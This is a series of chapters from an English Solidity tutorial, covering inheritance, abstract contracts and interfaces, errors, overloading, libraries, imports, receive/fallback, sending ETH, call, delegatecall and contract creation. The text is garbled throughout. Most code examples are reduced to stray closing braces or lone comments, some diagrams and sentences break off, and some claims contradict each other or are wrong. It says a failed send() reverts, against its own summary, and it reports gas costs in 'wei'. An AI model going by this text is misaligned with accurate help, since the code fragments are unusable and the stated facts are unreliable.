/* Inheritance tree visualized：
  God
 /  \
Adam Eve
 \  /
people
*/
    }
       
       emit Log("God.bar called");
    }
}
        Adam.foo();
    }
    }
}
    }
    }
}
    }
    }
}
```

In this example, calling the `super.bar()` function in the `people` contract will call the `Eve`, `Adam`, and `God` contract's `bar()` function, which is different from ordinary multiple inheritance.

Although `Eve` and `Adam` are both child contracts of the `God` parent contract, the `God` contract will only be called once in the whole process. This is because Solidity borrows the paradigm from Python, forcing a DAG (directed acyclic graph) composed of base classes to guarantee a specific order based on C3 Linearization. For more information on inheritance and linearization, read the

official [Solidity docs here](https://docs.soliditylang.org/en/v0.8.17/contracts.html#multiple-inheritance-and-linearization).

- After deploying example contract in Simple Inheritance session, we can see that the `Father` contract has `Grandfather` functions:

- Modifier inheritance examples:

- Inheritance of constructors:

- Calling the functions from parent contracts:

- Diamond inheritance:

## Summary
In this tutorial, we introduced the basic uses of Solidity's inheritance function, including simple inheritance, multiple inheritance, inheritance of modifiers and constructors, and calling functions from parent contracts.

---
title: 14. Abstract and Interface
tags:
  - solidity
  - basic
  - abstract
---

# WTF Solidity Tutorial: 14. Abstract and Interface

-----

In this section, we use the interface contract of `ERC721` as an example to introduce the `abstract` and `interface` in `solidity`. This will also help you better understand the `ERC721` token standard.

## Abstract contract

If a contract contains at least one unimplemented function (no contents in the function body `{}`), it must be labeled as `abstract`; Otherwise it will not

compile. Moreover, the unimplemented function needs to be labeled as `virtual`. 
Take our previous [Insertion Sort Contract](https://github.com/AmazingAng/WTFSolidity/tree/main/07_InsertionSort) as an example, 
if we haven't figured out how to implement the insertion sort function, we can mark the contract as `abstract`, and let others overwrite it in the future.

}
```
## Interface

The `interface` contract is similar to the `abstract` contract, but it requires no functions are implemented in the contract. Rules of the interface contract are as follows:

1. Cannot contain state variables.
2. Cannot contain constructors.
3. Cannot inherit other contracts except interface contracts.
4. All functions must be external and cannot have contents in the function body.
5. The contract that inherits the interface contract must implement all the functions defined in the interface.

Although the interface does not implement any functionality, it is the skeleton of smart contracts. Interface 
defines what the contract does and how to

interact with them: if a smart contract implements an interface (like `ERC20` or `ERC721`), 
other Dapps and smart contracts know how to interact with it. Because the interface provides two important pieces of information:

1. The `bytes4` selector for each function in the contract, and the function signatures `function name (parameter type)`.
2. Interface id (see [EIP165](https://eips.ethereum.org/EIPS/eip-165) for more information)

In addition, the interface is equivalent to the contract `ABI` (Application Binary Interface), 
and they can be converted to each other: compiling the interface contract will give you the contract `ABI`, 
and [abi-to-sol tool](https://gnidan.github.io/ abi-to-sol/) will convert the `ABI` back to the interface contract.

We take `IERC721` contract, the interface contract for the `ERC721` token standard,  as an example. It consists of 3 events and 9 functions, 
which all `ERC721` contracts need to implement. In interface contract, each function ends with `;` instead of the function body `{ }`. Moreover, every function in interface contract is by default `virtual`, so you do not need to label function as `virtual`

explicitly.

}
```

### IERC721 Event
`IERC721` contains 3 events.
- `Transfer` event: emitted during transfer,

records the sending address `from`, the receiving address `to`, and `tokenid`.
- `Approval` event: emitted during approval, records the token owner address `owner`, the approved address `approved`, and `tokenid`.
- `ApprovalForAll` event: emitted during batch approval, records the owner address `owner` of batch approval, the approved address `operator`, and whether the approve is enabled or disabled `approved` .

### IERC721 Function
- `balanceOf`: Count all NFTs held by an owner.
- `ownerOf`: Find the owner of an NFT (`tokenId`).
- `transferFrom`: Transfer ownership of an NFT with `tokenId` from `from` to `to`.
- `safeTransferFrom`: Transfer ownership of an NFT with `tokenId` from `from` to `to`. Extra check: if the receiver is a contract address, it will be required to implement the `ERC721Receiver` interface.
- `approve`: Enable or disable another address to manage your NFT.
- `getApproved`: Get the approved address for a single NFT.
- `setApprovalForAll`: Enable or disable approval for a third party to manage all your NFTs in this contract.
- `isApprovedForAll`: Query if an address is an authorized operator for another address.
-

`safeTransferFrom`: Overloaded function for safe transfer, containing `data` in its paramters.

### When to use an interface?
If we know that a contract implements the `IERC721` interface, we can interact with it without knowing its detailed implementation.

The Bored Ape Yacht Club `BAYC` is an `ERC721` NFT, which implements all functions in the `IERC721` interface. We can interact with the `BAYC` contract with the `IERC721` interface and its contract address, without knowing its source code.
For example, we can use `balanceOf()` to query the `BAYC` balance of an address, or use `safeTransferFrom()` to transfer a `BAYC` NFT.

    // Use BAYC address to create interface contract variables (ETH Mainnet)

    // Call BAYC's balanceOf() to query the open interest through the interface
    }

    // Safe transfer by calling BAYC's safeTransferFrom() through the interface
       
       BAYC.safeTransferFrom(from, to, tokenId);
    }
}
```

## Remix demo
- Abstract example:
  ![14-1](./img/14-1.png)
- Interface example:

## Summary
In this chapter, we introduced the `abstract` and `interface` contracts in `solidity`, which can be used to write contract templates and reduce code redundancy.
We also learned the interface contract of `ERC721` token standard and how to interact with the `BAYC` contract using interface contract.

---
title: 15. Errors
tags:
  - solidity
  - advanced
  - error
---

# WTF Solidity Tutorial: 15. Errors

-----

In this chapter, we will introduce three ways to throw exceptions in solidity: `error`, `require`, and `assert`. We will also compare their `gas` consumption.

## Errors
Solidity has many functions for error handling. Errors can occur at compile time or runtime. 

### Error
`error` command is a new feature in solidity version `0.8`, which is both convenient and gas-saving to explain to users why

the operation failed. It is the recommended way to throw error in solidity.
Custom errors are defined using the error statement, which can be used inside and outside of contracts. Below, we created a `TransferNotOwner` error, which will throw an error when the caller is not the token `owner` during transfer:

error TransferNotOwner(); // custom error
```
During execution, `error` must be used with the `revert` command.
        }
    }
```
The `transferOwner1()` function will check if the caller is the owner of the token; if not, it will throw a `TransferNotOwner` exception and the transaction will revert.

`require` command was the most commonly used method for throwing exceptions prior to solidity version `0.8`. It is still popular among developers. 

Syntax of `require`: 
```
require(condition, "error message");
```

An exception will be thrown when the condition is not met.

Despite its simplicity, the gas consumption is higher than  `error` command: the gas consumption

grows linearly as the length of the error message increases. 

Now, let's rewrite the above `transferOwner` function with the `require` command:
    }
```

### Assert
The `assert` command is generally used for debugging purposes, because it does not include error message.
Syntax of `asset`: 
`assert (condition to be checked);
```
When the  condition is not met, an exception will be thrown.

Let's rewrite the above `transferOwner` function with the `assert` command:
    }
```

After deploying `Error` contract.

1. `error`: Enter any `uint256` number and non-zero address, call the `transferOwner1()` function. The console will throw an custom `TransferNotOwner` error.

![15 1.png](./img/15-1.png)
   
2. `require`: Enter any `uint256` number and a non-zero address and call the `transferOwner2()` call. The

console will throw an exception and print the error message `"Transfer Not Owner"`.

![15 2.png](./img/15-2.png)
   
3. `assert`: Enter any `uint256` number and non-zero address and call the `transferOwner3` function. The console will throw an exception but do not print any error messages.

![15 3.png](./img/15-3.png)
   
## Gas comparison of three methods
Let's compare the gas consumption of `error`, `require`, and `assert`. 
You can find the gas consumption for each function call with the Debug button of the remix console:

1. **gas for `error`**：24445 `wei`
2. **gas for `require`**：24743 `wei`
3. **gas for `assert`**：24446 `wei`

We can see that the `error` consumes the least gas, followed by the `assert`, while the `require` consumes the most gas!
Therefore, `error` not only informs the user about the error message, but also saves gas.

## Summary
In this chapter, we introduced 3 ways to throw exceptions in solidity: `error`, `require`, and `assert`. After comparing their gas consumption, `error` is the cheapest, `require` has the highest gas consumption, and `assert` is in the middle.

---
title: 16. Overloading
tags:
  - solidity
  - advanced
---
# WTF Solidity Tutorial: 16. Overloading

-----

## Overloading
`solidity` allows functions to be overloaded（`overloading`）.That is, functions with the same name but different input parameter types 
can exist at the same time, and they are regarded as different functions.
Note that `solidity` does not allow modifier (`modifier`) to be overloaded.

### Function Overloading
For example, we could define two functions both called

`saySomething()`:
one without any arguments and outputting `"Nothing"`, the other taking a `string` argument and outputting a `string`.

}

}
```

After compiling, all overloading functions become different function selectors due to different parameter types. 
For the specific content of the function selector, please refer to [WTF Solidity Tutorial: 29. Function Selector](https://github.com/AmazingAng/WTFSolidity/tree/main/29_Selector).

Taking the `Overloading.sol` contract as an example, after compiling and deploying on Remix.
After calling the overloading functions `saySomething()` and `saySomething(string memory something)` respectively, 
we can see different results, for the functions are regarded as different ones.
![](./img/16-1.jpeg)

### Argument Matching

When the overloading function is called, the variable type will be matched between input parameter and function parameters.
An error will be reported if there are multiple

matching overloading functions,
The following example has two functions called `f()`, one have `uint8` parameter and the other get `uint256`:

        out = _in;
    }

        out = _in;
    }
```
For `50` can be converted to `uint8` as well as `uint256`, so it will report an error if we call `f(50)`.

## Summary

In this lecture, we introduce the basic usage of overloading function in `solidity`: 
functions with the same name but different input parameter types can exist at the same time, 
which are treated as different functions.

---
title: 17. Library 
tags:
  - solidity
  - advanced
  - library
  - using for
---

# WTF Solidity Tutorial: 17. Library : Standing on the shoulders of giants

-----

In this section, we use the library contract `String` referenced by `ERC721` as an example to introduce the library contract in `solidity`, 
and then summarize the commonly used library functions.

## Library Functions

A library function is a special contract that exists to improve the reusability of `solidity` and reduce `gas` consumption. 
Library contracts are

generally a collection of useful functions (`library functions`), 
which are created by the masters or the project party. 
We only need to stand on the shoulders of giants and use those functions.

![Library contracts：Standing on the shoulders of giants](https://images.mirror-media.xyz/publication-images/HJC0UjkALdrL8a2BmAE2J.jpeg?height=300&width=388)

It differs from ordinary contracts in the following points:

1. State variables are not allowed 
2. Cannot inherit or be inherited
3. Cannot receive ether
4. Cannot be destroyed

## String Library Contract

`String Library Contract` is a code library that converts a `uint256` to the corresponding `string` type. The sample code is as follows:

    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     */

       }
            digits++;
            temp /= 10;
        }
        }
    }

    /**
     */
        }
            length++;
            temp >>= 8;
        }
    }

    /**
     */
    function toHexString(uint256 value, uint256 length) public pure returns (string memory) {
        }
    }
}
```

It mainly contains two functions, `toString()` converts `uint256` to `string`, 
`toHexString()` converts `uint256` to

`hexadecimal`, and then converts it to `string`.

### How to use library contracts
We use the toHexString() function in String library function to demonstrate two ways of using the functions in the library contract.

**1. `using for` command**

Command `using A for B` can be used to attach library functions (from library A) to any type (B). After the instruction, 
the function in the library `A` will be automatically added as a member of the `B` type variable,
which can be called directly. Note: When calling, this variable will be passed to the function as the first parameter:

    // Using the library with the "using for" 
    {
        // Library functions are automatically added as members of uint256 variables
    }
```
**2. Called directly by the library contract name**
    // Called directly by the library contract name
    }
```
We deploy the contract and enter `170` to test, 
both methods can return the correct

`hexadecimal string` "0xaa", 
proving that we call the library function successfully!

![Call library function successfully](https://images.mirror-media.xyz/publication-images/bzB_JDC9f5VWHRjsjQyQa.png?height=750&width=580)

## Summary

In this lecture, we use the referenced library function `String` of `ERC721` as an example to introduce the library function (`Library`) in `solidity`. 
99% of developers have no need to write library contracts themselves, 
who can use the ones written by masters. 
The only thing we need to know is that which library contract to use and where the library is suitable.

Some commonly used libraries are:
1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol)：Convert `uint256` to `String`
2. [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Address.sol)：Determine whether an address is a contract address
3.

[Create2](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Create2.sol)：Safer use of `Create2 EVM opcode`
4. [Arrays](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Arrays.sol)：Library functions related to arrays

---
tags:
  - solidity
  - advanced
  - import
---

# WTF Solidity Tutorial: 18. Import

-----

`solidity` supports the use of `import` keyword to import global symbols in other contracts 
(simply understood as external source code), making development more modular. Generally, 
if not specified, all global symbols of the imported file will be imported into the current global scope.

## Usage of `import`

- Import by relative location of source file. For example：

```
Hierarchy

//

Import by relative location of source file
```

- Import the global symbols of contracts on the Internet through the source file URL. For example：
```
// Import by URL
```

- Import via `npm` directory. For example:
```

- Import contract-specific global symbols by specifying `global symbols`. For example:：
```

- The location of the reference (`import`) in the code: after declaring the version, and before the rest of the code.

## Test `import`

We can use the following code to test whether the external source code was successfully imported:

    // Successfully import the Address library
    // declare variable "yeye"

    // Test whether the function of "yeye" can be called
    }
}
```

![result](./img/18-1.png)

## Summary
In this lecture, we introduced the method of importing external source

code using the `import` keyword. Through the `import`, 
you can refer to contracts or functions in other files written by us, 
or directly import code written by others, which is very convenient.

---
title:  19. Receive ETH
tags: 
  - solidity
  - advanced
  - receive
  - fallback
---

# WTF Solidity Tutorial:  19. Receive ETH,  receive and fallback

-----

`Solidity` has two special functions,  `receive()` and `fallback()`, they are primarily used in two circumstances.
1. Receive Ether
2. Handle calls to contract if none of the other functions match the given function signature (e.g. proxy contract)

Note⚠️: Prior to solidity 0.6.x, only `fallback()` was available, for receiving Ether and as a fallback function.  
After version

0.6,  `fallback()` was separated to `receive()` and `fallback()`. 

In this tutorial we focus on receiving Ether. 

## Receiving ETH Function: receive()
The `receive()` function is solely used for receiving `ETH`. A contract can have at most one `receive()` function, declared not like others, no `function` keyword is needed: `receive() external payable { ... }`. This function cannot have arguments, cannot return anything and must have `external` visibility and `payable` state mutability. 

`receive()` is executed on plain Ether transfers to a contract. You should not perform too much operations in `receive()`, when sending Ether with `send` or `transfer`, only 2300 `gas` is available, complicated operations will trigger `Out of Gas` error; instead you should use `call` function which can specify `gas` limit. (We will cover all three ways of sending Ether later）. 

We can send an `event` in `receive()` function, for example: 
    // Declare event
    event Received(address Sender,  uint Value); 
    // Emit Received event
        emit Received(msg.sender,  msg.value); 
    }
```

Some malicious contracts intentionally add codes in `receive()` (`fallback()`

prior to Solidity 0.6.x), which consume massive `gas` or cause the transaction get reverted. So that will make some refund or transfer function fail, pay attention to such risks when writing such operations.

## Fallback Function: fallback()
The `fallback()` function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. It can be used to receive Ether or in `proxy contract`. `fallback()` is declared without the `function` keyword, and must have `external` visibility, it often has `payable` state mutability, which is used to receive Ether: `fallback() external payable { ... }`. 

Let's declare a `fallback()` function, which will send a `fallbackCalled` event, with `msg.sender`, `msg.value` and `msg.data` as parameters: 

    event fallbackCalled(address Sender,  uint Value,  bytes Data); 

        emit fallbackCalled(msg.sender,  msg.value,  msg.data); 
    }
```

## Difference between receive and fallback
Both `receive` and `fallback` can receive `ETH`, they are triggered in such orders: 
```
Execute fallback() or

receive()?
         Receive ETH
              |
      msg.data is empty?
            /  \
          Yes   No
          /      \
Has receive()?   fallback()
        / \
      Yes  No
      /     \
```
To put it simply, when a contract receives `ETH`, `receive()` will be executed if `msg.data` is empty and `receive()` function presents; on the other hand, `fallback()` will be executed if `msg.data` is not empty or there is no `receive()` declared, in such case `fallback()` must be `payable`. 

If neither `receive()` or `payable fallback()` is declared in the contract, receiving `ETH` will fail. 

## Test on Remix
1. First deploy "Fallback.sol" on Remix. 
2. Put the value (in Wei) you want to send to the contract in "VALUE", then click "Transact". 

3. The transaction succeeded, and "receivedCalled" event emitted. 

4. Put the value you want to send to the contract in "VALUE", and put any valid `msg.data` in "CALLDATA", click "Transact". 
    
5. The transaction succeeded, and "fallbackCalled" event emitted. "fallbackCalled". 

## Summary
In this tutorial, we talked about two special functions in `Solidity`, `receive()` and `fallback()`, they are mostly used in receiving

---
title: 20. Sending ETH
tags:
  - solidity
  - advanced
---

# WTF Solidity Tutorial: 20. Sending ETH

-----
There are three ways of sending `ETH` in `Solidity`: `transfer()`, `send()` and `call()`, in which `call()` is recommended. 

## Contract of Receiving ETH
Let's deploy a contract `ReceiveETH` to receive `ETH`. `ReceiveETH` has an event `Log`, which logs the received `ETH` amount and the remaining `gas`. Along with two other functions, one is the `receive()` function, which is executed when receiving

`ETH`, and emit the `Log` event; the other is  the `getBalance()` function that is used to get the balance of the contract. 
    // Receiving ETH event, log the amount and gas
    event Log(uint amount,  uint gas);
    
    // receive() is executed when receiving ETH
        emit Log(msg.value,  gasleft());
    }
    
    // return the balance of the contract
    }
}
```

After deploying `ReceiveETH`, call `getBalance()` function, we can see the balance is `0 Ether`. 

## Contract of Sending ETH
We will implement three ways to send `ETH` to the `ReceiveETH` contract. First thing first, let's make the `constructor` of the `SendETH` contract `payable`, and add the `receive()` function, so we can transfer `ETH` to our contract at deployment and after.
    // constructor, make it payable so we can transfer ETH at deployment
    // receive() function, called when receiving ETH
}
```
- Usage: `receiverAddress.transfer(value in Wei)`. 
- The `gas`

limit of `transfer()` is `2300`, which is enough to make transfer, but not if the receiving contract has a gas consuming `fallback()` or `receive()`. 
- If `transfer()` fails, the transaction will `revert`. 

Sample code: note that `_to` is the address of `ReceiveETH` contract, and `amount` is the value you want to send.
// sending ETH with transfer()
function transferETH(address payable _to,  uint256 amount) external payable{
}
```

After deploying `SendETH` contract, we can send `ETH` to `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, transaction failed and get `reverted`. 

If `amount` is 10, and `value` is 10, `amount`<=`value`, then the transaction will go through. 

In `ReceiveETH` contract, when we call `getBalance()`, we can see the balance of the contract is `10` Wei. 

### send

- Usage: `receiverAddress.send(value in Wei)`. 
- The `gas` limit of `send()` is `2300`, which is enough to make transfer, but not if the receiving contract has a gas consuming `fallback()` or `receive()`. 
- If `send()` fails, the

transaction will be `reverted`. 
- The return value of `send()` is `bool`, which is the status of the transaction, you can choose to act on that. 

Sample Code:
// sending ETH with send()
function sendETH(address payable _to,  uint256 amount) external payable{
    // check result of send()，revert with error when failed
    }
}
```

Now we send `ETH` to `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, so the transaction failed, since we handled the return value, transaction will be `reverted`. 

If `amount` is 10, and `value` is 11, `amount`<=`value`, so the transaction succeeded. 

### call

- Usage: `receiverAddress.call{value: value in Wei}("")`. 
- There is no `gas` limit for `call()`, so it supports more operations in `fallback()` or `receive()` of the receiving contract. 
- If `call()` fails, the transaction will not be `reverted`. 
- The return value of `call()` is `(bool,  data)`, in which `bool` is the status of transaction, you can choose to act on that. 

// sending ETH with

call()
function callETH(address payable _to,  uint256 amount) external payable{
    // check result of call()，revert with error when failed
    (bool success, ) = _to.call{value: amount}("");
    }
}
```

With any of these three methods, we send `ETH` to `ReceiveETH` contract successfully.

## Summary
In this tutorial, we talked about three ways of sending `ETH` in `solidity`:
`transfer`, `send` and `call`. 
- There is no `gas` limit for `call`, which is the most flexible and recommended way;
- The `gas` limit of `transfer` is `2300 gas`, transaction will be `reverted` if it fails, which makes it the second choice;
- The `gas` limit of `send` is `2300`, transaction will not be `reverted` if it fails, which makes it the worst choice. 

---
title: 21. Interact with Contract
tags:
  - solidity
  - advanced
---

# WTF Solidity Tutorial: 21. Interact with other Contract

-----

## Interact with deployed contract

Interactions between contracts not only make the programs re-usable on the blockchain, also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contract to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contract that source code (or ABI) and address are available.

## Target

Contract
Lets write a simple contract `OtherContract` to work with.

    uint256 private _x = 0; // state variable x
    
    // get the balance of the contract
    }

    // set the value of x, as well as receiving ETH (payable)
        _x = x;
        // emit Log event when receiving ETH
        }
    }

    // read the value of x
        x = _x;
    }
}
```

This contract includes a state variable `_x`, a `Log` event which will emit when receiving `ETH`, and three functions:
- `getBalance()`: return the balance of the contract.
- `setX()`: `external payable` function, set the value of `_x`, as well as receiving `ETH`.
- `getX()`: read the value of `_x`

## Interact with `OtherContract`
We can create a reference to the contract with the contract address and source code (or ABI): `_Name(_Address)`, `_Name` is the contract name which should be consistent with the contract source code (or ABI),

`_Address` is the contract address. Then we can call the functions in the contract like this: `_Name(_Address).f()`, `f()` is the function you want to call.

Here are four examples of interacting with contracts, compile and deploy these two contracts: `OtherContract` and `CallContract`:

### 1. Pass the contract address
We can pass the contract address as parameter and create a reference of `OtherContract`, then call the function of `OtherContract`. For example, here we create a `callSetX` function which will call `setX` from `OtherContract`, pass the deployed contract address `_Address` and the `x` value as parameter:

    }
```

Copy the address of `OtherContract`, and pass it as the first parameter of `callSetX`, after the transaction succeeded, we can call `getX` from `OtherContract` and the value of `x` is 123.

![call contract1 in remix](./img/21-4.png)

### 2. Pass

the contract variable
We can also pass the reference of the contract as parameter, just change the type from `address` to the contract name, i.e. `OtherContract`. The following example shows how to call `getX()` from `OtherContract`.

**Note:** The parameter `OtherContract _Address` is still `address` type behind the scene. You will find it's `address` type in the generated `ABI` and when passing the parameter to `callGetX`.

    }
```

Copy the address of `OtherContract`, and pass it as the parameter of `callGetX`, after the transaction succeeded, we can get the value of `x`.

### 3. Create contract variable
We can create a contract variable and call its functions. The following example shows how to create a reference of `OtherContract` and save to `oc`:

    }
```
Copy the address of `OtherContract`, and pass it as the parameter of `callGetX2 `, after the transaction succeeded, we

can get the value of `x`.

### 4. Interact with contract and send `ETH`
If the target function is `payable`, then we can also send `ETH` to that contract: `_Name(_Address).f{value: _Value}()`, `_Name`is the contract name, `_Address` is the contract address, `f` is the function to call, and `_Value` is the value of `ETH` to send (in `wei`).

`OtherContract` has a `payable` function `setX`, in the following example we will send `ETH` to the contract by calling `setX`.
    function setXTransferETH(address otherContract, uint256 x) payable external{
    }
```

Copy the address of `OtherContract`, and pass it as the parameter of `setXTransferETH `, in addition we send 10ETH.

After the transaction is confirmed, we can check the balance of the contract by reading the `Log` event or by calling `getBalance()`.

## Summary
In this tutorial, we talked about how to create contract reference with its source code (or ABI) and address, then call its functions. 

---
tags:
  - solidity
  - advanced
  - call
---

# WTF Solidity Tutorial: 22. Call

-----

Previously in [20: Sending ETH](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/20_SendETH_en) we talked about sending `ETH` with `call`, in this tutorial we will dive into that. 

## Call
`call` is one of the `address` low-level functions which is used to interact with other contract. It returns the success condition and the returned data: `(bool, data)`. 

- Officially recommended

by `solidity`, `call` is used to send `ETH` by triggering `fallback` or `receive` functions.
- `call` is not recommended for interacting with other contract, because you give away the control when calling a malicious contract. The recommended way is to create a contract reference and call its functions. See [21: Interact with other Contract](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/21_CallContract_en)
- If the source code or `ABI` is not available, we cannot create contract variable; However we can still interact with other contract using `call` function.  

### Rules of using `call`
Rules of using `call`:
```
targetContractAddress.call(binary code);
```
the `binary code` is generated by `abi.encodeWithSignature`:
```
abi.encodeWithSignature("function signature", parameters separated by comma)
```
`function signature` is `"functionName(parameters separated by comma)"`. For example, `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。

In addition, we can specify the value of `ETH` and `gas` for the transaction when using `call`:

```
contractAdress.call{value:ETH value, gas:gas limit}(binary

code);
```

It looks a bit complicated, lets see how to use `call` in examples.

### Target contract
Lets write and deploy a simple target contract `OtherContract`, the code is mostly same as chapter 19, only with an extra `fallback` function。

    }

    // set the value of _x, as well as receiving ETH (payable)
        _x = x;
        }
    }

        x = _x;
    }
}
```

This contract includes a state variable `x`, a `Log` event for receiving `ETH`, and three functions:
- `getBalance()`: get the balance of contract
- `setX()`: `external payable` function, can be used to set the value of `x` and receiving `ETH`. 
- `getX()`: get the value of `x`.

### Contract interaction using `call`
**1. Response

Event**

Lets write a `Call` contract to interact with the target functions in `OtherContract`. First we declare the `Response` event, which takes `success` and `data` returned from `call` as parameters. So we can check the return values.

// Declare Response event, with parameters success and data
```

**2. Call setX function**

Now we declare the `callSetX` function to call the target function `setX()` in `OtherContract`. Meanwhile we send `msg.value` of `ETH`, then emit the `Response` event, with `success` and `data` as parameter:

	// call setX()，and send ETH
	);

	emit Response(success, data); //emit event
}
```

Now we call `callSetX` to change state variable `_x` to 5, pass the `OtherContract` address and `5` as parameters, since `setX()` does not have return value, so `data` is `0x` (i.e. Null)  in `Response` event.

**3. Call getX function**

Next we call `getX()`

function, it will return the value of `_x` in `OtherContract`, the type is `uint256`. We can decode the return value from `call` function, and get its value. 

	);

	emit Response(success, data); //emit event 
}
```
From the log of `Response` event, we see `data` is `0x0000000000000000000000000000000000000000000000000000000000000005`. After decoding with `abi.decode`, the final return value is `5`.

**4. Call undeclared function**

If we try to call functions that are not present in `OtherContract` with `call`, the `fallback` function will be executed. 

	);

}
```

In this example, we try to call `foo` which is not declared with `call`, the transaction will still succeed and return `success`,

but the actual function executed was the `fallback` function.

## Summary

In this tutorial, we talked about how to interact with other contract using low-level function `call`. For security reasons, `call` is not recommended method, but it's useful when we don't know the source code and `ABI` of the target contract. 

---
tags:
  - solidity
  - advanced
---

# WTF Solidity Tutorial: 23. Delegatecall

-----

## `delegatecall`
`delegatecall` is similar to `call`, is a low level function in `Solidity`. `delegate` meas entrust/represent, so what does `delegatecall`entrust?

When user `A` `call` contract `C` via contract `B`, the executed functions are from contract `C`, the `execution context` (the environment including state and variable) is in contract `C`: `msg.sender` is contract

`B`'s address, and if state variabes are changed due to function call, the affected state variables are in contract `C`.

![execution context of call](./img/23-1.png)

And when user `A` `delegatecall` contract `C` via contract `B`, the executed functions are from contract `C`, the `execution context` is in contract `B`: `msg.sender` is user `A`'s address, and if state variabes are changed due to function call, the affected state variables are in contract `B`.

![execution context of delegatecall](./img/23-2.png)

You can understand it like this: a `rich businessman` entrusts his asset (`state variabes`) to a `VC` (functions of target contract) for management. The executed functions are from the `VC`, but the state variables get changed is from the `businessman`.

The syntax of `delegatecall` is simimar to `call`:

```
targetContractAddress.delegatecall(binar code);
```

```
`function signature` is `"functionName(parameters separated by comma)"`. For example,

`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。

Unlike `call`, `delegatecall` can specify the value of `gas` when calling smart contract, but the value of `ETH` can't be specified.

> **Attention**: using delegatecall could incur risk, make sure the storage layout of state variables of current contract and target cotnract is same, and target contract is safe, otherwise could cause loss of funds.

## `delegatecall` use cases?
Currently there are 2 major use cases for delegatecall:

1. `Proxy Contract`: separating the storage part and logic part of smart contract: `proxy contract` is used to store all related variables, and also store the address of logic contract; all functions are stored in the `logic contract`, and called via delegatecall. When upgrading, you only need to redirect `proxy contract` to a new `logic contract`.
2. EIP-2535 Diamonds: Diamond is a standard that supports building modular smart contract systems that can scale in production. Diamond is a proxy contract with multiple implementation contracts. For more information, check: [Introduction to EIP-2535

Diamonds](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard).

## `delegatecall` example
Call mechanism: you (`A`) call contract `C` via contract `B`.

### Target Contract C
First we create a target contract `C` with 2 `public` variables: `num` and `sender` which are `uint256` and `address` respectively; and a function which sets `num` based on `_num`, and set `sender` as `msg.sender`.

// Target contract C

        num = _num;
    }
}
```
### Call Initizalization Contract B
First, contract `B` must have the same state variabe layout as target contract `C`, 2 variabels and the order is `num` and `sender`.

```

Next, we use `call` and `delegatecall` respectively to call `setVars` from contract `C`, so we can understand the difference better.

Function `callSetVars` calls `setVars` via `call`. callSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`.

    // Calling

setVars() of contract C with call, the state variables of contract C will be changed
        );
    }
```

While function `delegatecallSetVars` calls `setVars` via `delegatecall`. Similar to `callSetVars`, delegatecallSetVars has 2 parameters, `_addr` and `_num`, which correspond to contract `C`'s address and the parameter of `setVars`.

    // Calling setVars() of contract C with delegatecall, the state variables of contract B will be changed
        );
    }
}
```

### Veryify on Remix
1. First we deploy contract B and contract C

![deploy.png](./img/23-3.png)

2. After deployment, check the initial value of state variables in contract `C`, also the initial value of state variables in contract `B`.

![initialstate.png](./img/23-4.png)

3. Next, call `callSetVars`

in contract `B` with arguments of contract `C`'s address and `10`

![call.png](./img/23-5.png)

4. After execution, the state variables in contract `C` are changed: `num` is changed to 10, `sender` is changed to contract B's address

![resultcall.png](./img/23-6.png)

5. Next, we call `delegatecallsetVars` in contract `B` with arguments of contract `C`'s address and `100`

![delegatecall.png](./img/23-7.png)

6. Because of `delegatecall`, the execution context is contract `B`. Afte execution, the state variables of contract `B` are changed: `num` is changed to 100, `sender` is changed to your wallet's address. The state variables of contract `C` are unchanged.

![resultdelegatecall.png](./img/23-8.png)

## Summary
In this lecture we introduce another low level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference of `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall is `proxy contract` and `EIP-2535 Diamons`.

---
title: 24. Create
tags:
  - solidity
  - advanced
---

# WTF Solidity Tutorial: 24. Creating a new smart contract in an existed smart contract

-----

On Ethereum, user (Externally-owned account, `EOA`) can create smart contracts, a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplied

version of `Uniswap`.

## `create` and `create2`
There are two ways to create a new contract in an existed contract, `create` and `create2`, this lecture will introduce `create`, next lecture will introduce `create2`.

The usage of `create` is very simple, creating a contract with `new` keyword, and passing the arguments required by the constructor of the new smart contract:

```

`Contract` is the name of the smart contract to be created, `x` is the smart contract object (address), if the constructor is `payable`, the creator can transfer `_value` `ETH` to the new smart contract, `params` are the parameters of the constructor of the new smart cotnract.

## Simplified Uniswap
The core smart contracts of `Uniswap V2` include 2 smart contracts:

1. UniswapV2Pair: Pair contract, used to manage token addresses, liquidity, swap.
2. UniswapV2Factory: Factory contract, used to create new Pair contracts, and manage Pair address.

Below we will implement a simplified `Uniswap` with `create`: `Pair` contract is used to manage token addresses, `PairFactory` contract is used to create new Pair contract, and manage Pair

addresses.

###  `Pair` contract

    address public factory; // factory contract address
    address public token0; // token1
    address public token1; // token2

    }

    }
}
```
`Pair` contract is very simple, including 3 state variables: `factory`, `token0` and `token1`.

The `constructor` assigns Factory contract's address to `factory` at the time of delpoyment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair.

> **Ask**: Why doesn't `Uniswap` set the addresses of `token0` and `token1` in the `constructor`?
>
